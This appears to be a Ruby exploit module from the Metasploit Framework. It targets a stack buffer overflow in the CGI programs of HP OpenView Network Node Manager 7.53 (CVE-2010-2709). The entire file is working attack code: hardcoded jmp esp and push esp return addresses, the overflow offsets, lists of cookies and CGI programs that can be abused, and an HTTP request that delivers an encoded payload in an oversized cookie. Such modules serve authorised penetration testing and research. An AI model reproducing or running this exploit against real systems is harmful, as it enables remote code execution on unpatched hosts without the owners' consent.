metasploit-framework/modules/exploits/windows/http/hp_nnm_webappmon_ovjavaloca...

171 lines
5.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/OpenView.exe', :pattern => /Hewlett-Packard Development Company/ }
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
By sending a request continaing a cookie longer than 5120 bytes, an attacker can overflow
a stack buffer and execute arbitrary code.
The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is
declared within this function. When the vulnerability is triggered, the stack trace looks
like the following:
#0 ...
#1 sprintf_new(local_stack_buf, fmt, cooke);
#2 OvWwwDebug(" HTTP_COOKIE=%s\n", cookie);
#3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
#4 sub_405ee0("nnm", "webappmon");
No validation is done on the cookie argument. There are no stack cookies, so exploitation
is easily achieved by overwriting the saved return address or SEH frame.
The original advisory detailed an attack vector using the "OvJavaLocale" cookie being
passed in a request ot "webappmon.exe". Further research shows that several different
cookie values, as well as several different CGI applications, can be used.
'},
'License' => MSF_LICENSE,
'Author' =>
[
'Nahuel Riva',
'sinn3r',
'jduck'
],
'References' =>
[
[ 'CVE', '2010-2709' ],
[ 'OSVDB', '66932' ],
[ 'BID', '42154' ],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02446520' ],
[ 'URL', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow' ]
],
'Payload' =>
{
'Space' => 1024, # 5120 buffer?
'BadChars' => (0..0x1f).to_a.pack('C*'),
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESP'
},
},
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
"InitialAutoRunScript" => "migrate -f",
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP OpenView Network Node Manager 7.53',
{
'Ret' => 0x5a212a4a # jmp esp in ov.dll (2004-10-05, 294,967 bytes)
}
],
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
{
'Ret' => 0x71c02b67 # push esp / ret in ws2_32.dll v5.2.3790.3959
}
],
[ 'Debug Target',
{
#'Ret' => 0x5a30575b # int3 in ovwww.dll (2007-09-18, 106,558 bytes)
'Ret' => 0x71c0782c # int3 in ws2_32.dll v5.2.3790.3959
}
]
],
'Privileged' => false,
'DisclosureDate' => "Aug 3 2010"))
register_options(
[
OptString.new('COOKIE', [ false, "The Cookie name to use", nil ]),
OptString.new('CGI', [ false, "The CGI to use", nil ])
], self.class)
end
def exploit
print_status("Trying target #{target.name}...")
cookies = %w{
OvJavaScript OvTitleFrame OvHelpWindow OvMap OvSession OvJavaLocale
OvOSLocale OvLogin OvDebug OvDeveloper OvTreeControl OvJavaScript OvProduct
OvPort OvLocale OvWebSession
}
# This triggers a heap overflow - OvAcceptLang ;-)
cookie = datastore['COOKIE'].dup if datastore['COOKIE']
cookie ||= cookies[rand(cookies.length)]
cgis = %w{
Main/Snmp.exe getcvdata.exe getnnmdata.exe jovw.exe jovwreg.exe
nnmRptConfig.exe nnmRptPresenter.exe OpenView5.exe OpenView.exe ovalarm.exe
ovlaunch.exe ovlaunchreg.exe ovlogin.exe ovsessioninfo.exe ovsipexport.exe
OvHelp.exe OvWebHelp.exe printsession.exe snmpviewer.exe Title.exe
Toolbar.exe webappmon.exe
}
# These don't work: jovgraph.exe
cgi = datastore['CGI'].dup if datastore['CGI']
cgi ||= cgis[rand(cgis.length)]
if cgi[0,7] != '/OvCgi/'
cgi = '/OvCgi/' + cgi
end
print_status("Using cookie: #{cookie} and cgi: #{cgi}")
cookie << "="
# sprintf_new(buf, " HTTP_COOKIE=%s", bigstr);
start = ' HTTP_COOKIE='
start << cookie
# Offsets from the start of the buffer:
# ebp @ 5120
# ret @ 5124
# seh @ 7044
buf = rand_text_alphanumeric(5124 - start.length)
buf << [target.ret].pack('V')
#buf << "\xcc"
buf << payload.encoded
cookie << buf
cookie << ";"
res = send_request_cgi({
'uri' => cgi,
'method' => "GET",
'headers' =>
{
'Cookie' => cookie
}
}, 3)
if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG']
print_error('')
print_error(res.inspect)
end
end
handler
disconnect
end
end